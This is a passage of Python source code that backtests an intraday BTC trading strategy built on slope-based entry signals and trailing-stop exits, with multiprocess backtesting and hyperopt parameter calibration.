ticks(self, code, start_date, end_date):\n ts_template = Template('''setsysparam(pn_stock(),'SH510500');\n begT:= StrToDate('{{start_date}}');\n endT:= StrToDate('{{end_date}}');\n setsysparam(pn_cycle(),cy_1s());\n setsysparam(pn_rate(),0);\n setsysparam(pn_RateDay(),rd_lastday);\n r:= select [\"StockID\"] as 'ticker', datetimetostr([\"date\"]) as \"time\", [\"price\"],\n [\"buy1\"], [\"bc1\"], [\"buy2\"],[\"bc2\"], [\"buy3\"],[\"bc3\"],\n [\"sale1\"],[\"sc1\"], [\"sale2\"],[\"sc2\"], [\"sale3\"],[\"sc3\"]\n from markettable datekey begT to endT of \"{{code}}\" end;\n return r;''')\n ts_sql = ts_template.render(start_date=dateparse(start_date).strftime('%Y-%m-%d'),\n end_date=dateparse(end_date).strftime('%Y-%m-%d'),\n code=code)\n fail, data, _ = ts.RemoteExecute(ts_sql, {})\n\n def gbk_decode(strlike):\n if isinstance(strlike, (str, bytes)):\n strlike = strlike.decode('gbk')\n return strlike\n\n def bytes_to_unicode(record):\n return dict(map(lambda s: (gbk_decode(s[0]), gbk_decode(s[1])), record.items()))\n\n if not fail:\n unicode_data = list(map(bytes_to_unicode, data))\n return pd.DataFrame(unicode_data).set_index(['time', 'ticker'])\n else:\n raise Exception(\"Error when execute tsl\")\n\n\ndef backtest_slice(q, name, i, arg_dict, plot=False):\n obj = Strategy(name, False)\n obj.yM = [1000,] # fake for initialization\n obj.defaultParam(arg_dict)\n obj.backtest(plot=plot)\n stat_df = obj.stat_df\n q.put(stat_df)\n # print(\"Process end\", i)\n\n\nclass Strategy():\n def __init__(self, ticker, fake=False) -> None:\n self.ticker = ticker\n if fake is True:\n return\n try:\n self.all_data = pd.read_csv(\"E:\\\\BTCdata\\\\\" + ticker + \".csv\")\n except FileNotFoundError as e:\n if ticker.startswith(\"E:\\\\data_slice\"):\n path = ticker\n self.all_data = pd.read_csv(path)\n else:\n print(\"The tick data of\", ticker,\n \"does not exit.\\nAutomatically downloading data...\\nIt will take about 15 minutes.\")\n raise e\n # self.all_data[\"price\"] = self.all_data[\"price\"].apply(lambda x: round(x, 3))\n self.all_data = self.all_data[[\"date\", \"time\", \"price\"]]\n self.date_list = sorted(list(set(self.all_data[\"date\"])))\n x = list(range(1440))\n self.interval = 1 # Default\n self.xM = x[:: self.interval]\n self.xtick = list(range(0, 1441, 120))\n self.xticklabel = list(range(0, 25, 2))\n self.plot = True\n # self.defaultParam()\n\n def defaultParam(self, arg_dict=None) -> None:\n if arg_dict is None:\n print(\"arg_dict is None\")\n elif len(arg_dict) == 0:\n print(\"arg_dict is empty\")\n sw1 = arg_dict[\"sw1\"]\n sw2 = arg_dict[\"sw2\"]\n sw3 = arg_dict[\"sw3\"]\n sw4 = arg_dict[\"sw4\"]\n sw5 = arg_dict[\"sw5\"]\n sw6 = arg_dict[\"sw6\"]\n sw7 = arg_dict[\"sw7\"]\n sw8 = arg_dict[\"sw8\"]\n sw9 = arg_dict[\"sw9\"]\n sw10 = arg_dict[\"sw10\"]\n sw11 = arg_dict[\"sw11\"]\n sw12 = arg_dict[\"sw12\"]\n sw13 = arg_dict[\"sw13\"]\n sw14 = arg_dict[\"sw14\"]\n interval = arg_dict[\"interval\"]\n multiplier = arg_dict[\"multiplier\"]\n ns1 = arg_dict[\"ns1\"]\n ns2 = arg_dict[\"ns2\"]\n ns3 = arg_dict[\"ns3\"]\n ns4 = arg_dict[\"ns4\"]\n ns5 = arg_dict[\"ns5\"]\n con1 = arg_dict[\"con1\"]\n con2 = arg_dict[\"con2\"]\n con3 = arg_dict[\"con3\"]\n con4 = arg_dict[\"con4\"]\n con5 = arg_dict[\"con5\"]\n rapb = arg_dict[\"rapb\"]\n raps = arg_dict[\"raps\"]\n\n #### New Part for daily adjustment ####\n multiplier = self.yM[0] / 1000 * multiplier\n #### End New Part\n\n\n self.P_NS_1 = int(round(ns1 * multiplier))\n self.P_NS_2 = int(round(ns2 * multiplier))\n self.P_NS_3 = int(round(ns3 * multiplier))\n self.P_NS_4 = int(round(ns4 * multiplier))\n self.P_NS_5 = int(round(ns5 * multiplier))\n self.P_CON_1 = int(round(con1 * multiplier)) # 3 is a little bit better than 2, but its frequency is only 1/3 of P_CON_2 =3\n self.P_CON_2 = int(round(con2 * multiplier))\n self.P_CON_3 = int(round(con3 * multiplier))\n self.P_CON_4 = int(round(con4 * multiplier))\n self.P_CON_5 = int(round(con5 * multiplier))\n self.P_RAPB_1 = int(round(rapb * multiplier))\n self.P_RAPS_1 = int(round(raps * multiplier))\n self.P_W_1 = 0.6\n self.P_W_2 = 0.8\n self.P_L_1 = int(round(15 * multiplier))\n self.P_L_2 = int(round(30 * multiplier))\n self.P_L_3 = int(round(12 * multiplier))\n self.P_h1_W = 0\n self.P_R_ADJ = 0\n self.interval = interval\n\n\n self.switch = [sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8, sw9, sw10, sw11, sw12, sw13, sw14]\n x = list(range(1440))\n self.xM = x[::self.interval]\n\n\n self.arg_dict = arg_dict # Added recently\n\n def get_oneday_data(self, i: int) -> pd.DataFrame:\n df = self.all_data.iloc[1440 * i: 1440 * (i + 1)].copy()\n return df\n\n # if df.shape[0] < 14400:\n # raise ValueError(\"Data is not complete or data is missing on \" + date)\n # return self.all_data[self.all_data[\"date\"] == date].copy()\n\n def getRapidOS(self, ls: list) -> (str, str, int):\n '''\n Get Rapid Open Signal\n\n ls: list, list of slope: [ -1 min, 0 min]\n\n condition: (Assume Open Long)\n 1. x1 = 2\n 2. h1 >= 12\n :return: (str, str, int). first str: 1 for open long, -1 for open short, 0 for no signal;\n second str: signal type; int: h2\n '''\n pb1 = self.P_RAPB_1\n ps1 = self.P_RAPS_1\n switch = self.switch\n\n z1, z2 = ls\n h1 = z1 + z2\n if switch[0] and h1 >= pb1:\n return 'B', \"RAP\", h1\n if switch[1] and h1 <= -ps1:\n return 'S', \"RAP\", h1\n else:\n return None, None, 0\n\n def getNStyleOS(self, ls: list) -> (str, str, int):\n '''\n Get N-style Open Signal\n\n ls: list, list of slope: [ -3 min, -2 min, -1 min, 0 min]\n\n Type 1 condition: (Assume Open Long)\n 1. x1 = x2 = x3 = 1\n 2. d1 >= 6, h1 >= 3, d2 < 0\n 3. abs(d2) <= 1 / 2 * d1\n 4. h1 >= 2 * abs(d2)\n\n Type 2 condition: (Assume Open Long)\n 1. x1 = 2, x2 = x3 = 1\n 2. d1 >= 6, h1 >= 3, d2 < 0\n 3. abs(d2) <= 1 / 2 * d1\n 4. h1 >= 2 * abs(d2)\n\n :return: (str, str, int). first str: 1 for open long, -1 for open short, 0 for no signal;\n second str: signal type; int: h2\n '''\n p1 = self.P_NS_1\n p2 = self.P_NS_2\n p3 = self.P_NS_3\n p4 = self.P_NS_4\n p5 = self.P_NS_5\n switch = self.switch\n\n z1, z2, z3, z4 = ls\n # Type 1\n d1, d2, h1 = z2, z3, z4\n if switch[2] and d1 >= p1 and d2 < 0 and h1 >= p1 and abs(d2) <= abs(d1) / 2 and abs(h1) >= 2 * abs(d2):\n return 'B', \"NS1\", h1\n if switch[3] and d1 <= - p1 and d2 > 0 and h1 <= - p1 and abs(d2) <= abs(d1) / 2 and abs(h1) >= 2 * abs(d2):\n return 'S', \"NS1\", h1\n # Type2 - should be closed\n d1, d2, h1 = z1 + z2, z3, z4\n if switch[4] and d1 >= p2 and d2 < 0 and h1 >= p3 and abs(d2) <= abs(d1) / 2 and abs(h1) >= 2 * abs(d2):\n return 'B', \"NS2\", h1\n if switch[5] and d1 <= -p2 and d2 > 0 and h1 <= -p3 and abs(d2) <= abs(d1) / 2 and abs(h1) >= 2 * abs(d2):\n return 'S', \"NS2\", h1\n # Type3\n d1, d2, h1 = z1, z2 + z3, z4\n if switch[6] and d1 >= p4 and d2 < 0 and h1 >= p5 and abs(d2) <= abs(d1) / 2 and abs(h1) >= 2 * abs(d2):\n return 'B', \"NS3\", h1\n if switch[7] and d1 <= -p5 and d2 > 0 and h1 <= -p4 and abs(d2) <= abs(d1) / 2 and abs(h1) >= 2 * abs(d2):\n return 'S', \"NS3\", h1\n\n else:\n return None, None, 0\n\n def getContinuousOS(self, ls: list) -> (str, str, int):\n '''\n Get Continuous Open Signal\n\n ls: list, list of slope: [ -3 min, -2 min, -1 min, 0 min]\n\n Type 1 condition: (Assume Open Long)\n 1. x1 = x2 = x3 = 1\n 2. d1 >= 6, h1 >= 3, d2 < 0\n 3. abs(d2) <= 1 / 2 * d1\n 4. h1 >= 2 * abs(d2)\n\n Type 2 condition: (Assume Open Long)\n 1. x1 = 2, x2 = x3 = 1\n 2. d1 >= 6, h1 >= 3, d2 < 0\n 3. abs(d2) <= 1 / 2 * d1\n 4. h1 >= 2 * abs(d2)\n\n :return: (str, str, int). first str: 1 for open long, -1 for open short, 0 for no signal;\n second str: signal type; int: h2\n '''\n p1 = self.P_CON_1\n p2 = self.P_CON_2\n p3 = self.P_CON_3\n p4 = self.P_CON_4\n p5 = self.P_CON_5\n switch = self.switch\n\n z1, z2, z3, z4 = ls\n # Type 1\n d1, d2, h1 = z2, z3, z4\n if switch[8] and d1 >= p1 and d2 >= 0 and h1 >= p1 and abs(h1) >= abs(d2) + 2:\n return 'B', \"CON1\", h1\n if switch[9] and d1 <= -p1 and d2 <= 0 and h1 <= -p1 and abs(h1) >= abs(d2) + 2:\n return 'S', \"CON1\", h1\n # Type2\n d1, d2, h1 = z1 + z2, z3, z4\n if switch[10] and d1 >= p2 and d2 >= 0 and h1 >= p3 and abs(h1) >= abs(d2) + 2:\n return 'B', \"CON2\", h1\n if switch[11] and d1 <= -p2 and d2 <= 0 and h1 <= -p3 and abs(h1) >= abs(d2) + 2:\n return 'S', \"CON2\", h1\n # Type3\n d1, d2, h1 = z1, z2 + z3, z4\n if switch[12] and d1 >= p4 and d2 >= 0 and h1 >= p5 and abs(h1) >= abs(d2) + 2:\n return 'B', \"CON3\", h1\n if switch[13] and d1 <= -p4 and d2 <= 0 and h1 <= -p5 and abs(h1) >= abs(d2) + 2:\n return 'S', \"CON3\", h1\n\n\n else:\n return None, None, 0\n\n def initDailyParam(self, pos_type=\"all\", date=None, i=None) -> None:\n if pos_type == \"all\":\n self.date = date\n df = self.get_oneday_data(i)\n df.sort_values(by=\"time\", inplace=True)\n self.yM = df[\"price\"].tolist()[:: self.interval]\n self.xMl = self.xM[1:] # x minute list without first nan i.e. start @ 9:31\n self.yMl = self.yM[1:] # price minute list without first nan i.e. start @ 9:31\n self.Nl = list(range(len(self.xMl)))\n self.slope_list = [int(round(1000 * z)) for z in np.diff(self.yM)]\n self.y_min = df[\"price\"].min()\n self.y_max = df[\"price\"].max()\n self.y_mid = 0.5 * (self.y_min + self.y_max)\n self.pnl = 0\n if pos_type == \"long\" or pos_type == \"all\":\n self.long_num = 0\n self.long_sig_type = None\n self.long_start_pos = None\n self.long_start_price = None\n self.long_peak_pos = None\n self.long_peak_price = None\n self.long_h1 = 0\n self.long_reach_6 = False\n if pos_type == \"short\" or pos_type == \"all\":\n self.short_num = 0\n self.short_sig_type = None\n self.short_start_pos = None\n self.short_start_price = None\n self.short_nadir_pos = None\n self.short_nadir_price = None\n self.short_h1 = 0\n self.short_reach_6 = False\n\n def initPlot(self) -> (plt, plt):\n fig, ax = plt.subplots(figsize=(16, 8))\n ax.plot(self.xM, self.yM, color=\"lightgray\", linewidth=1)\n ax.plot(self.xM, self.yM, \".\", color=\"lightgray\", markersize=3)\n # for n, xpos, ypos, value in zip(self.Nl, self.xMl, self.yMl, self.slope_list):\n # if abs(value) > 2:\n # cl = \"red\" if value > 0 else \"green\"\n # cl = \"darkgray\"\n # ax.text(xpos - 30, ypos + 0.0005, str(abs(value)), fontsize=6, color=cl, fontweight=\"bold\")\n # ax.set_xticks(self.xtick, self.xticklabel)\n # plt.set_yticks(fontsize=8)\n # if self.y_max - self.y_min <= 0.1:\n # ax.set_ylim(self.y_mid - 0.05, self.y_mid + 0.05)\n plt.title(self.date, size=15)\n return fig, ax\n\n def closeLongPosition(self, ax: plt, n: int, xpos: int, ypos: float, sig_type: int) -> None:\n if self.plot is True:\n if sig_type == 0:\n marker = \"*k\"\n elif sig_type == 1:\n marker = \"xk\"\n else:\n raise ValueError(\"Wrong sig_type:\" + sig_type)\n ax.plot([xpos, ], [ypos, ], marker, markersize=5)\n if ypos != self.long_start_price:\n color = \"red\" if ypos > self.long_start_price else \"blue\"\n x = self.xMl[self.long_start_pos]\n ax.plot([x, x + 0.001], [self.long_start_price, ypos], color=color, linewidth=1)\n # print(\"close at\", \"\\tn:\", n, \"\\txpos:\", xpos, \"\\typos:\", ypos, \"\\tslope:\",self.slope_list[n], \"\\tpick:\", self.long_peak_price)\n self.pnl += ypos - self.long_start_price\n self.update_stat_df(pos_type=\"long\", close_price=ypos)\n self.initDailyParam(pos_type=\"long\")\n\n def closeShortPosition(self, ax: plt, n: int, xpos: int, ypos: float, sig_type: int) -> None:\n if self.plot is True:\n if sig_type == 0:\n marker = \"*k\"\n elif sig_type == 1:\n marker = \"xk\"\n else:\n raise ValueError(\"Wrong sig_type:\" + sig_type)\n ax.plot([xpos, ], [ypos, ], marker, markersize=5)\n if ypos != self.short_start_price:\n color = \"red\" if ypos < self.short_start_price else \"blue\"\n x = self.xMl[self.short_start_pos]\n ax.plot([x, x + 0.001], [self.short_start_price, 2 * self.short_start_price - ypos], color=color,\n linewidth=1)\n # print(\"close at\", \"\\tn:\", n, \"\\txpos:\", xpos, \"\\typos:\", ypos, \"\\tslope:\",self.slope_list[n], \"\\tnadir:\", self.short_nadir_price)\n self.pnl += self.short_start_price - ypos\n self.update_stat_df(pos_type=\"short\", close_price=ypos)\n self.initDailyParam(pos_type=\"short\")\n\n def update_stat_df(self, pos_type: str, close_price: float) -> None:\n if pos_type == \"long\":\n df = pd.DataFrame([[self.long_sig_type, \"B\", self.long_start_price, \\\n close_price, close_price / self.long_start_price - 1, self.date], ], \\\n columns=[\"sig_type\", \"direction\", \"open_price\", \"close_price\", \"pnl\", \"date\"])\n self.stat_df = self.stat_df.append(df)\n elif pos_type == \"short\":\n df = pd.DataFrame([[self.short_sig_type, \"S\", self.short_start_price, \\\n close_price, close_price / self.short_start_price - 1, self.date], ], \\\n columns=[\"sig_type\", \"direction\", \"open_price\", \"close_price\", \"pnl\", \"date\"])\n self.stat_df = self.stat_df.append(df)\n else:\n raise ValueError(\"Wrong pos_type: \", pos_type)\n\n def calTriggerPrice(self, pos_type: str, n: int) -> float:\n if pos_type == \"long\":\n start = self.long_start_price\n point = self.long_peak_price\n sig_type = self.long_sig_type\n reach_6 = self.long_reach_6\n start_shift_1 = self.yMl[self.long_start_pos - 1]\n start_shift_2 = self.yMl[self.long_start_pos - 2]\n start_shift_3 = self.yMl[self.long_start_pos - 3]\n time_pass = n - self.long_start_pos\n h1 = self.long_h1\n sign = 1\n else:\n start = self.short_start_price\n point = self.short_nadir_price\n sig_type = self.short_sig_type\n reach_6 = self.short_reach_6\n start_shift_1 = self.yMl[self.short_start_pos - 1]\n start_shift_2 = self.yMl[self.short_start_pos - 2]\n start_shift_3 = self.yMl[self.short_start_pos - 3]\n time_pass = n - self.short_start_pos\n h1 = self.short_h1\n sign = -1\n H1 = round(1000 * (point - start))\n trigger_price = start\n\n w1 = self.P_W_1\n w2 = self.P_W_2\n l1 = self.P_L_1\n l2 = self.P_L_2\n l3 = self.P_L_3\n h1w = self.P_h1_W\n adjust = self.P_R_ADJ\n\n if not reach_6 and sig_type == \"RAP\":\n if time_pass <= 2:\n trigger_price = start - 0.006 * sign\n else:\n trigger_price = start + 0.001 * adjust * sign\n elif not reach_6:\n if abs(h1) > 8:\n trigger_price = start - 2 / 3 * h1 / 1000 * sign\n elif sig_type == \"NS1\":\n trigger_price = start_shift_2\n elif sig_type == \"NS2\" or sig_type == \"NS3\":\n trigger_price = start_shift_3\n elif sig_type == \"CON1\" or sig_type == \"CON2\" or sig_type == \"CON3\":\n trigger_price = start_shift_1\n else:\n if abs(H1) <= l1:\n trigger_price = start + w1 * (H1 + h1w * h1) / 1000\n elif abs(H1) <= l2:\n trigger_price = start + w2 * (H1 + h1w * h1) / 1000 - 0.001 * sign\n else:\n trigger_price = point - 0.001 * l3 * sign\n\n return round(trigger_price, 3)\n\n def plotSignal(self, ax: plt, n: int, xpos: int, ypos: float, sig: str, sig_type: str) -> None:\n if sig_type == \"NS1\":\n color = \"deepskyblue\"\n shift = 3\n elif sig_type == \"NS2\":\n color = \"deepskyblue\"\n shift = 4\n elif sig_type == \"NS3\":\n color = \"deepskyblue\"\n shift = 4\n elif sig_type == \"CON1\":\n color = \"goldenrod\"\n shift = 3\n elif sig_type == \"CON2\":\n color = \"goldenrod\"\n shift = 4\n elif sig_type == \"CON3\":\n color = \"goldenrod\"\n shift = 4\n elif sig_type == \"RAP\":\n color = \"violet\"\n shift = 2\n else:\n raise ValueError(\"Wrong sig_type:\" + sig_type)\n color = \"gray\"\n ax.plot(self.xMl[n - shift: n + 1], self.yMl[n - shift: n + 1], color=color, linewidth=1)\n # ax.text(xpos - 30, ypos - 0.004, sig, fontsize=12, color=color, fontweight=\"bold\")\n ax.text(xpos - 120, ypos - 0.03, sig_type, fontsize=6, color=color, fontweight=\"bold\")\n\n def checkCloseLongSignal(self, n: int, ypos: float, delta: int) -> (bool, int):\n if n > 236 * 2:\n return True, 1\n if delta > 0:\n if round(1000 * (ypos - self.long_start_price)) >= 6:\n self.long_reach_6 = True\n if ypos > self.long_peak_price:\n self.long_peak_pos = n\n self.long_peak_price = ypos\n return False, -1\n\n trigger_price = self.calTriggerPrice(pos_type=\"long\", n=n)\n\n if ypos < trigger_price:\n return True, 0\n else:\n return False, -1\n\n def checkCloseShortSignal(self, n: int, ypos: float, delta: int) -> (bool, int):\n if n > 236 * 2:\n return True, 1\n if delta < 0:\n if round(1000 * (ypos - self.short_start_price)) <= -6:\n self.short_reach_6 = True\n if ypos < self.short_nadir_price:\n self.short_nadir_pos = n\n self.short_nadir_price = ypos\n return False, 1\n\n trigger_price = self.calTriggerPrice(pos_type=\"short\", n=n)\n\n if ypos > round(trigger_price, 3):\n return True, 0\n else:\n return False, -1\n\n def checkOpenSignal(self, n: int) -> (str, str):\n if n >= 4 and n <= 234 * 2:\n sig, sig_type, h1 = self.getRapidOS(self.slope_list[n - 1: n + 1])\n if sig:\n return sig, sig_type, h1\n sig, sig_type, h1 = self.getContinuousOS(self.slope_list[n - 3: n + 1])\n if sig:\n return sig, sig_type, h1\n sig, sig_type, h1 = self.getNStyleOS(self.slope_list[n - 3: n + 1])\n if sig:\n return sig, sig_type, h1\n\n return None, None, 0\n\n def backtest(self, plot=False) -> None:\n self.plot = plot\n self.stat_df = pd.DataFrame(columns=[\"sig_type\", \"direction\", \"open_price\", \"close_price\", \"pnl\", \"date\"])\n # for date in self.date_list:\n # self.backtest_oneday(date)\n for i in range(len(self.date_list)):\n self.backtest_oneday(i)\n\n def backtest_oneday(self, i: int) -> None:\n self.defaultParam(arg_dict=self.arg_dict) # For daily update, added for BTC\n date = self.date_list[i]\n self.initDailyParam(pos_type=\"all\", date=date, i=i)\n ax = None\n if self.plot is True:\n fig, ax = self.initPlot()\n\n for n, xpos, ypos, delta in zip(self.Nl, self.xMl, self.yMl, self.slope_list):\n # Check close signal when we have positions\n if self.long_num > 0:\n sig, close_type = self.checkCloseLongSignal(n, ypos, delta)\n if sig is True:\n self.closeLongPosition(ax, n, xpos, ypos, close_type)\n if self.short_num > 0:\n sig, close_type = self.checkCloseShortSignal(n, ypos, delta)\n if sig is True:\n self.closeShortPosition(ax, n, xpos, ypos, close_type)\n\n if self.long_num < 1 or self.short_num < 1:\n # Check open signals when we do not have full position\n sig, sig_type, h1 = self.checkOpenSignal(n)\n if sig == 'B' and self.long_num < 1:\n self.long_sig_type = sig_type\n self.long_num += 1\n self.long_start_pos = n\n self.long_start_price = ypos\n self.long_peak_pos = n\n self.long_peak_price = ypos\n self.long_h1 = h1\n if self.plot is True:\n self.plotSignal(ax, n, xpos, ypos, sig, sig_type)\n elif sig == 'S' and self.short_num < 1:\n self.short_num += 1\n self.short_sig_type = sig_type\n self.short_start_pos = n\n self.short_start_price = ypos\n self.short_nadir_pos = n\n self.short_nadir_price = ypos\n self.short_h1 = h1\n if self.plot is True:\n self.plotSignal(ax, n, xpos, ypos, sig, sig_type)\n\n if self.plot is True:\n ax.set_xticks(self.xtick, self.xticklabel)\n # print(self.pnl)\n # re = round((math.exp(252 * self.pnl / 5 / 10) - 1) * 100, 1)\n # ax.set_title(date + \" PNL:\" + str(round(self.pnl, 3)) + \" R: \" + str(re) + '%')\n ax.set_title(date + \" PNL:\" + str(round(self.pnl, 3)) )\n fig.savefig(\"backtest/\" + self.date + \".png\")\n plt.close()\n # print(date)\n\n def printStat(self, name=None, printSave=True) -> None:\n if len(self.stat_df) == 0:\n self.stat = None\n return\n df1 = self.stat_df.groupby(by=[\"sig_type\", \"direction\"]).mean()\n df2 = self.stat_df.groupby(by=[\"sig_type\", \"direction\"]).count()\n df = pd.merge(df1, df2, on=[\"sig_type\", \"direction\"])\n df = df[[\"pnl_x\", \"pnl_y\"]]\n\n df.columns = [\"mean\", \"count\"]\n df[\"mean\"] = df[\"mean\"].apply(lambda x: round(x, 6))\n df[\"sum\"] = df[\"mean\"].mul(df[\"count\"])\n mean = round(df[\"sum\"].sum() / df[\"count\"].sum(), 6)\n self.stat = df\n if printSave is True:\n print(self.stat)\n if name is None:\n self.stat.to_csv(\"stat.csv\")\n else:\n self.stat.to_csv(\"calibration/stat_\" + name + '_' + str(mean) + \".csv\")\n return self.stat\n\n def multi_backtest(self, arg_dict=None, plot=False):\n\n if not os.path.exists(\"E:\\\\data_slice\\\\\" + self.ticker + \"\\\\data_slice_9.csv\"):\n self.slice()\n df = pd.DataFrame()\n q = Queue()\n jobs = list()\n for i in range(0, 10):\n ticker = \"E:\\\\data_slice\\\\\" + self.ticker + \"\\\\data_slice_\" + str(i) + \".csv\"\n p = Process(target=backtest_slice, args=(q, ticker, i, arg_dict, plot))\n jobs.append(p)\n p.start()\n # print(\"Start process\" + str(i))\n for i in range(0, 10):\n df = df.append(q.get())\n for job in jobs:\n job.join()\n self.stat_df = df\n\n def slice(self, process_num=10):\n n = process_num\n N = len(self.date_list)\n try:\n os.removedirs(\"E:\\\\data_slice\\\\\" + self.ticker)\n print(\"Re-writing the data slice of\", self.ticker)\n except:\n print(\"Writing new data slice of\", self.ticker)\n os.makedirs(\"E:\\\\data_slice\\\\\" + self.ticker)\n # for parent, dirnames, filenames in os.walk(\"E:\\\\data_slice\\\\\" + ticker):\n # file_list = filenames\n # for file in file_list:\n # os.remove(\"E:\\\\data_slice\\\\\" + ticker +'\\\\' + file)\n for i in range(0, n):\n date_scope = self.date_list[math.floor(i * (N / n)): math.floor((i + 1) * (N / n))]\n data_slice = self.all_data[self.all_data[\"date\"].apply(lambda s: True if s in date_scope else False)]\n data_slice.to_csv(\"E:\\\\data_slice\\\\\" + self.ticker + \"\\\\data_slice_\" + str(i) + \".csv\", index=False)\n print(\"Slice data into \" + str(n) + \" part.\\n Save data slice to: \" + \"E:\\\\data_slice\\\\\" + self.ticker)\n\n def makeHyperParam(self):\n std = self.all_data.groupby(\"date\").std()[\"price\"].mean()\n self.multiplier_base = std / 0.0214 / 1000\n\n\n def opt_func(self, arg_dict):\n self.multi_backtest(arg_dict, plot=False)\n print(\"Multiplier: \", arg_dict[\"multiplier\"])\n self.printStat(printSave=True)\n if self.stat is None:\n print(\"No trades under this parameter set!\")\n return 0\n # self.stat[\"sqrt_sum\"] = self.stat[\"mean\"].apply(lambda x: x - 0.003).mul(\n # self.stat[\"count\"].apply(lambda x: math.sqrt(x)))\n pos_stat = self.stat[self.stat[\"mean\"] >= 0.0008]\n best_positive_sum = pos_stat[\"mean\"].mul(pos_stat[\"count\"].apply(lambda x : x - 0.008)).sum()\n if best_positive_sum > self.best_positive_sum:\n self.best_arg_dict = arg_dict\n self.best_positive_sum = best_positive_sum\n return - best_positive_sum\n\n\n def calibrate(self):\n self.makeHyperParam()\n arg_dict = dict()\n for i in range(1, 15):\n arg_dict[\"sw\" + str(i)] = hp.choice(\"sw\" + str(i), [True, False])\n arg_dict[\"multiplier\"] = hp.uniform(\"multiplier\", self.multiplier_base, 300 * self.multiplier_base)\n arg_dict[\"interval\"] = hp.choice(\"interval\", [1, 2, 5])\n # arg_dict[\"interval\"] = 1\n for key, value in zip(\n [\"ns1\", \"ns2\", \"ns3\", \"ns4\", \"ns5\", \"con1\", \"con2\", \"con3\", \"con4\", \"con5\", \"rapb\", \"raps\"],\n [3, 4, 4, 5, 6, 2, 6, 3, 2, 5, 9, 9]):\n arg_dict[key] = value\n\n print(\"Debug the arg_dict:\")\n print(arg_dict)\n\n self.best_arg_dict = arg_dict\n self.best_positive_sum = 0\n best = fmin(self.opt_func, arg_dict, algo=tpe.suggest, max_evals=150)\n print(self.best_arg_dict)\n\n\n # ##########################################\n # self.best_arg_dict = {'con1': 2, 'con2': 6, 'con3': 3, 'con4': 2, 'con5': 5, 'interval': 30, 'multiplier': 166.63380428010672,\n # 'ns1': 3, 'ns2': 4, 'ns3': 4, 'ns4': 5, 'ns5': 6, 'rapb': 9, 'raps': 9, 'sw1': True, 'sw10': True,\n # 'sw11': True, 'sw12': True, 'sw13': True, 'sw14': False, 'sw2': False, 'sw3': False, 'sw4': False, 'sw5': True,\n # 'sw6': False, 'sw7': True, 'sw8': True, 'sw9': True}\n # ###############################################\n\n for key, value in zip(\n [\"ns1\", \"ns2\", \"ns3\", \"ns4\", \"ns5\", \"con1\", \"con2\", \"con3\", \"con4\", \"con5\", \"rapb\", \"raps\"],\n [3, 4, 4, 5, 6, 2, 6, 3, 2, 5, 9, 9]):\n self.best_arg_dict[key] = value\n self.multi_backtest(self.best_arg_dict, plot=False)\n self.printStat()\n\n self.stat[\"positive_tag\"] = self.stat[\"mean\"].apply(lambda x: True if x >= 0 else False)\n all_positive = self.stat[\"positive_tag\"].cumprod()[-1]\n total_count = self.stat[\"count\"].sum()\n remain_param_num = self.stat.shape[0]\n while all_positive == 0 or total_count > 30000:\n # Delete the worst signal\n min_df = self.stat[self.stat[\"mean\"] == self.stat[\"mean\"].min()]\n min_df[\"test\"] = min_df.index\n signal_pair = min_df.iloc[0, 4]\n min_param = self.decode_signal(signal_pair)\n print(\"Delete minimum parameter: \" + min_param)\n self.best_positive_sum = 0\n self.best_arg_dict[min_param] = False\n\n # Initialize new arg_list\n arg_dict = dict()\n for i in range(1, 15):\n key = \"sw\" + str(i)\n arg_dict[key] = self.best_arg_dict[key]\n param, pmin, pmax = self.decode_sw(key)\n if arg_dict[key] is True:\n arg_dict[param] = hp.choice(param, range(pmin, pmax))\n else:\n arg_dict[param] = 0\n arg_dict[\"interval\"] = self.best_arg_dict[\"interval\"]\n arg_dict[\"multiplier\"] = hp.uniform(\"multiplier\", self.multiplier_base, 300 * self.multiplier_base)\n best = fmin(self.opt_func, arg_dict, algo=tpe.suggest, max_evals= 8 * remain_param_num)\n print(self.best_arg_dict)\n self.multi_backtest(self.best_arg_dict, plot=False)\n self.printStat()\n self.stat[\"positive_tag\"] = self.stat[\"mean\"].apply(lambda x: True if x >= 0.0008 else False)\n all_positive = self.stat[\"positive_tag\"].cumprod()[-1]\n total_count = self.stat[\"count\"].sum()\n remain_param_num = self.stat.shape[0]\n print('-' * 300)\n self.multi_backtest(self.best_arg_dict, plot=True)\n self.printStat()\n\n\n\n\n def decode_signal(self, signal_pair):\n signal_type, direction = signal_pair\n direct = 0 if signal_pair == 'B' else 1\n if signal_type == \"RAP\" and direction == \"B\":\n return \"sw1\"\n elif signal_type == \"RAP\" and direction == \"S\":\n return \"sw2\"\n elif signal_type == \"NS1\" and direction == \"B\":\n return \"sw3\"\n elif signal_type == \"NS1\" and direction == \"S\":\n return \"sw4\"\n elif signal_type == \"NS2\" and direction == \"B\":\n return \"sw5\"\n elif signal_type == \"NS2\" and direction == \"S\":\n return \"sw6\"\n elif signal_type == \"NS3\" and direction == \"B\":\n return \"sw7\"\n elif signal_type == \"NS3\" and direction == \"S\":\n return \"sw8\"\n elif signal_type == \"CON1\" and direction == \"B\":\n return \"sw9\"\n elif signal_type == \"CON1\" and direction == \"S\":\n return \"sw10\"\n elif signal_type == \"CON2\" and direction == \"B\":\n return \"sw11\"\n elif signal_type == \"CON2\" and direction == \"S\":\n return \"sw12\"\n elif signal_type == \"CON3\" and direction == \"B\":\n return \"sw13\"\n elif signal_type == \"CON3\" and direction == \"S\":\n return \"sw14\"\n\n def decode_sw(self, sw):\n if sw == \"sw1\":\n return \"rapb\", 6, 14\n elif sw == \"sw2\":\n return \"raps\", 6, 14\n elif sw == \"sw3\":\n return \"ns1\", 2, 5\n elif sw == \"sw4\":\n return \"ns2\", 2, 5\n elif sw == \"sw5\":\n return \"ns3\", 3, 6\n elif sw == \"sw6\":\n return \"ns4\", 3, 6\n elif sw == \"sw7\":\n return \"ns5\", 4, 7\n elif sw == \"sw8\":\n return \"ns6\", 5, 8\n elif sw == \"sw9\":\n return \"con1\", 1, 4\n elif sw == \"sw10\":\n return \"con2\", 1, 4\n elif sw == \"sw11\":\n return \"con3\", 5, 8\n elif sw == \"sw12\":\n return \"con4\", 2, 5\n elif sw == \"sw13\":\n return \"con5\", 2, 5\n elif sw == \"sw14\":\n return \"con6\", 4, 7\n\n\n\n\n\n\nif __name__ == \"__main__\":\n\n obj = Strategy(\"btc\", fake=False)\n obj.calibrate()\n # arg_dict = {'con1': 2, 'con2': 6, 'con3': 3, 'con4': 2, 'con5': 5, 'interval': 1, 'multiplier': 1366.6518182142024, 'ns1': 3, 'ns2': 4, 'ns3': 4, 'ns4': 5, 'ns5': 6, 